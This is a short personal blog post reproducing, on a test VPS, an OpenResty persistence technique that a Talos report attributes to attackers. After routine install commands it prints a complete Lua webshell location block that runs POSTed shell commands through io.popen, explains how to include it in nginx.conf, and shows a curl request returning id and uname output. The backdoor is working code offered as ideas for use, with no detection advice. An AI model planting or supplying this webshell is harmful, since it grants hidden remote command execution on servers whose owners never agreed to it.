Backdooring OpenResty Servers
Just a quick note from an experiment I ran while reading this blog post from Talos about the ongoing Cisco shitshow.
I noticed the attackers used a configuration directive for the OpenResty webserver to basically add a webshell - something I was not familiar with as a persistence technique.
So lets try it out!
First thing I did was quickly install openresty on a Debian VPS, for this test. I've pasted the steps below, which I blatantly robbed from Linode.
apt update
apt upgrade
apt install --no-install-recommends wget gnupg ca-certificates
wget -O - https://openresty.org/package/pubkey.gpg | apt-key add -
codename=`grep -Po 'VERSION="[0-9]+ \(\K[^)]+' /etc/os-release`
echo "deb http://openresty.org/package/debian $codename openresty" | tee /etc/apt/sources.list.d/openresty.list
apt update
apt install openresty
systemctl status openresty
Ok, we now have OpenResty installed.
We quickly knock up a "webshell" config file - much like the one from the Cisco backdoor blog post, and drop it in /usr/local/openresty/nginx/conf/hackme.conf
.
root@openresty:/usr/local/openresty/nginx/conf# cat hackme.conf
location /hack/the/planet {
add_header Content-Type text/html;
content_by_lua '
local content = ""
local method = ngx.req.get_method()
local params = ngx.req.get_uri_args()
if (method == "POST" and params ~= nil) then
ngx.req.read_body()
local body = ngx.req.get_body_data()
if (params["hack"] == "planet") then
local f = io.popen(body, "r")
if (f ~= nil) then
content = f:read("*all")
f:close()
end
end
end
ngx.status = 200
ngx.say(content)
';
}
Now, by itself, this configuration file does precisely fuck all. The default OpenResty configuration doesn't have an 'include everything here' folder of endpoints. So, we have to modify the nginx.conf
file, by adding the line include hackme.conf
somewhere in the server
directive.
In many cases, people will have a folder with a configuration file per endpoint or some such.
We restart openresty, and lets try our webshell!
# curl -X POST -d 'id;uname -a;pwd' localhost/hack/the/planet?hack=planet
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Linux openresty 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.38-1 (2023-07-14) x86_64 GNU/Linux
/
We have code execution. Simple.
Hopefully this gives you some ideas. Until next time!